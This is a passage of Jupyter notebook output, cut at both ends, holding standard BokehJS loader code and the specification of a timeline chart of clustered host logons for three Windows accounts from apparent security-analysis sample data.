" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n const force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n const JS_MIME_TYPE = 'application/javascript';\n const HTML_MIME_TYPE = 'text/html';\n const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n const CLASS_NAME = 'output_bokeh rendered_html';\n\n /**\n * Render data to the DOM node\n */\n function render(props, node) {\n const script = document.createElement(\"script\");\n node.appendChild(script);\n }\n\n /**\n * Handle when an output is cleared or removed\n */\n function handleClearOutput(event, handle) {\n const cell = handle.cell;\n\n const id = cell.output_area._bokeh_element_id;\n const server_id = cell.output_area._bokeh_server_id;\n // Clean up Bokeh references\n if (id != null && id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n\n if (server_id !== undefined) {\n // Clean up Bokeh references\n const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n cell.notebook.kernel.execute(cmd_clean, {\n iopub: {\n output: function(msg) {\n const id = msg.content.text.trim();\n if (id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n }\n }\n });\n // Destroy server and session\n const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n cell.notebook.kernel.execute(cmd_destroy);\n }\n }\n\n /**\n * Handle when a new output is added\n */\n function handleAddOutput(event, handle) {\n const output_area = handle.output_area;\n const output = handle.output;\n\n // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n return\n }\n\n const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n // store reference to embed id on output_area\n output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n }\n if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n const bk_div = document.createElement(\"div\");\n bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n const script_attrs = bk_div.children[0].attributes;\n for (let i = 0; i < script_attrs.length; i++) {\n toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n }\n // store reference to server id on output_area\n output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n }\n }\n\n function register_renderer(events, OutputArea) {\n\n function append_mime(data, metadata, element) {\n // create a DOM node to render to\n const toinsert = this.create_output_subarea(\n metadata,\n CLASS_NAME,\n EXEC_MIME_TYPE\n );\n this.keyboard_manager.register_events(toinsert);\n // Render to node\n const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n render(props, toinsert[toinsert.length - 1]);\n element.append(toinsert);\n return toinsert\n }\n\n /* Handle when an output is cleared or removed */\n events.on('clear_output.CodeCell', handleClearOutput);\n events.on('delete.Cell', handleClearOutput);\n\n /* Handle when a new output is added */\n events.on('output_added.OutputArea', handleAddOutput);\n\n /**\n * Register the mime type and append_mime function with output_area\n */\n OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n /* Is output safe? */\n safe: true,\n /* Index of renderer in `output_area.display_order` */\n index: 0\n });\n }\n\n // register the mime type if in Jupyter Notebook environment and previously unregistered\n if (root.Jupyter !== undefined) {\n const events = require('base/js/events');\n const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n register_renderer(events, OutputArea);\n }\n }\n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n const NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n const el = document.getElementById(\"2283\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error(url) {\n console.error(\"failed to load \" + url);\n }\n\n for (let i = 0; i < css_urls.length; i++) {\n const url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (let i = 0; i < js_urls.length; i++) {\n const url = js_urls[i];\n const element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n const css_urls = [];\n \n\n const inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (let i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n const cell = $(document.getElementById(\"2283\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));", "application/vnd.bokehjs_load.v0+json": "" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "(function(root) {\n function embed_document(root) {\n \n const docs_json = {\"99d79a0e-b732-4629-a35e-5175bb608112\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2288\"},{\"id\":\"2320\"}]},\"id\":\"2386\",\"type\":\"Column\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2337\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"label\":{\"value\":\"NT AUTHORITY\\\\SYSTEM\"},\"renderers\":[{\"id\":\"2382\"}]},\"id\":\"2384\",\"type\":\"LegendItem\"},{\"attributes\":{\"active_multi\":{\"id\":\"2357\"},\"tools\":[{\"id\":\"2357\"}]},\"id\":\"2335\",\"type\":\"Toolbar\"},{\"attributes\":{\"source\":{\"id\":\"2284\"}},\"id\":\"2344\",\"type\":\"CDSView\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2403\"},{\"id\":\"2404\"},{\"id\":\"2405\"},{\"id\":\"2406\"},{\"id\":\"2407\"},{\"id\":\"2408\"},{\"id\":\"2409\"},{\"id\":\"2410\"},{\"id\":\"2411\"},{\"id\":\"2412\"},{\"id\":\"2413\"},{\"id\":\"2414\"}]},\"id\":\"2300\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"2321\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2297\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2391\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2348\",\"type\":\"Circle\"},{\"attributes\":{\"axis\":{\"id\":\"2299\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2302\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"2286\"}},\"id\":\"2383\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2337\"},\"group\":null,\"major_label_policy\":{\"id\":\"2395\"},\"ticker\":{\"id\":\"2332\"}},\"id\":\"2331\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2341\",\"type\":\"Circle\"},{\"attributes\":{\"axis\":{\"id\":\"2303\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"2306\",\"type\":\"Grid\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2347\",\"type\":\"Circle\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"2416\"},{\"id\":\"2417\"},{\"id\":\"2418\"},{\"id\":\"2419\"},{\"id\":\"2420\"},{\"id\":\"2421\"},{\"id\":\"2422\"},{\"id\":\"2423\"},{\"id\":\"2424\"},{\"id\":\"2425\"},{\"id\":\"2426\"},{\"id\":\"2427\"}]},\"id\":\"2332\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2342\",\"type\":\"Circle\"},{\"attributes\":{\"end\":2.3333333333333335,\"start\":-0.3333333333333333},\"id\":\"2293\",\"type\":\"Range1d\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2285\"},\"glyph\":{\"id\":\"2346\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2348\"},\"nonselection_glyph\":{\"id\":\"2347\"},\"view\":{\"id\":\"2350\"}},\"id\":\"2349\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2325\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"2295\",\"type\":\"LinearScale\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"2362\"},\"group\":null,\"major_label_policy\":{\"id\":\"2393\"},\"ticker\":{\"id\":\"2300\"}},\"id\":\"2299\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2390\"},\"group\":null,\"major_label_overrides\":{\"0\":\"MSTICAlertsWin1\\\\MSTICAdmin\",\"1\":\"MSTICAlertsWin1\\\\adm1nistrator\",\"2\":\"NT AUTHORITY\\\\SYSTEM\"},\"major_label_policy\":{\"id\":\"2391\"},\"ticker\":{\"id\":\"2304\"}},\"id\":\"2303\",\"type\":\"LinearAxis\"},{\"attributes\":{\"below\":[{\"id\":\"2299\"}],\"center\":[{\"id\":\"2302\"},{\"id\":\"2306\"}],\"height\":300,\"left\":[{\"id\":\"2303\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"2368\"},{\"id\":\"2375\"},{\"id\":\"2382\"}],\"right\":[{\"id\":\"2385\"}],\"title\":{\"id\":\"2289\"},\"toolbar\":{\"id\":\"2313\"},\"width\":900,\"x_range\":{\"id\":\"2291\"},\"x_scale\":{\"id\":\"2295\"},\"y_range\":{\"id\":\"2293\"},\"y_scale\":{\"id\":\"2297\"}},\"id\":\"2288\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"end\":1547531220066.45,\"start\":1547514634636.5498},\"id\":\"2323\",\"type\":\"Range1d\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"2336\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"hatch_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2340\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Timeline: Clustered Host Logons\"},\"id\":\"2289\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2327\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2284\"},\"glyph\":{\"id\":\"2340\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2342\"},\"nonselection_glyph\":{\"id\":\"2341\"},\"view\":{\"id\":\"2344\"}},\"id\":\"2343\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2329\",\"type\":\"LinearScale\"},{\"attributes\":{\"axis\":{\"id\":\"2331\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"2334\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2390\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_color\":{\"value\":\"#208F8C\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2346\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2304\",\"type\":\"BasicTicker\"},{\"attributes\":{\"end\":1547530582165.3,\"start\":1547515272537.7002},\"id\":\"2291\",\"type\":\"Range1d\"},{\"attributes\":{\"source\":{\"id\":\"2285\"}},\"id\":\"2350\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2353\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2352\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2393\",\"type\":\"AllLabels\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2362\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2286\"},\"glyph\":{\"id\":\"2352\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2354\"},\"nonselection_glyph\":{\"id\":\"2353\"},\"view\":{\"id\":\"2356\"}},\"id\":\"2355\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"overlay\":{\"id\":\"2358\"},\"x_range\":{\"id\":\"2291\"},\"y_range\":null},\"id\":\"2357\",\"type\":\"RangeTool\"},{\"attributes\":{\"source\":{\"id\":\"2286\"}},\"id\":\"2356\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2354\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"2358\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2365\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2400\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2401\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2284\"},\"glyph\":{\"id\":\"2365\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2367\"},\"nonselection_glyph\":{\"id\":\"2366\"},\"view\":{\"id\":\"2369\"}},\"id\":\"2368\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2366\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2367\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"MSTICAlertsWin1\\\\MSTICAdmin\"},\"renderers\":[{\"id\":\"2368\"}]},\"id\":\"2370\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"2284\"}},\"id\":\"2369\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2373\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2372\",\"type\":\"Scatter\"},{\"attributes\":{\"data\":{\"Account\":[\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[5],\"TimeGenerated\":{\"__ndarray__\":\"AEBPyfKEdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[1],\"y_index\":[2]},\"selected\":{\"id\":\"2401\"},\"selection_policy\":{\"id\":\"2400\"}},\"id\":\"2286\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"below\":[{\"id\":\"2331\"},{\"id\":\"2336\"}],\"center\":[{\"id\":\"2334\"}],\"height\":120,\"renderers\":[{\"id\":\"2343\"},{\"id\":\"2349\"},{\"id\":\"2355\"}],\"title\":{\"id\":\"2321\"},\"toolbar\":{\"id\":\"2335\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"2323\"},\"x_scale\":{\"id\":\"2327\"},\"y_range\":{\"id\":\"2325\"},\"y_scale\":{\"id\":\"2329\"}},\"id\":\"2320\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#208F8C\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#208F8C\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#208F8C\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2374\",\"type\":\"Scatter\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2311\",\"type\":\"PanTool\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2285\"},\"glyph\":{\"id\":\"2372\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2374\"},\"nonselection_glyph\":{\"id\":\"2373\"},\"view\":{\"id\":\"2376\"}},\"id\":\"2375\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"LogonType\",\"@LogonType\"],[\"Account\",\"@Account\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"2287\",\"type\":\"HoverTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2380\",\"type\":\"Scatter\"},{\"attributes\":{\"label\":{\"value\":\"MSTICAlertsWin1\\\\adm1nistrator\"},\"renderers\":[{\"id\":\"2375\"}]},\"id\":\"2377\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"2285\"}},\"id\":\"2376\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2379\",\"type\":\"Scatter\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2416\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2417\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2395\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2381\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"2310\",\"type\":\"SaveTool\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2418\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2286\"},\"glyph\":{\"id\":\"2379\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2381\"},\"nonselection_glyph\":{\"id\":\"2380\"},\"view\":{\"id\":\"2383\"}},\"id\":\"2382\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2427\",\"type\":\"YearsTicker\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\"],\"LogonType\":[3],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[2],\"y_index\":[1]},\"selected\":{\"id\":\"2399\"},\"selection_policy\":{\"id\":\"2398\"}},\"id\":\"2285\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2423\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2422\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2419\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2420\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2421\",\"type\":\"DaysTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2403\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2426\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"click_policy\":\"hide\",\"coordinates\":null,\"group\":null,\"items\":[{\"id\":\"2384\"},{\"id\":\"2377\"},{\"id\":\"2370\"}],\"label_text_font_size\":\"8pt\",\"location\":\"center\"},\"id\":\"2385\",\"type\":\"Legend\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2424\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"2396\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,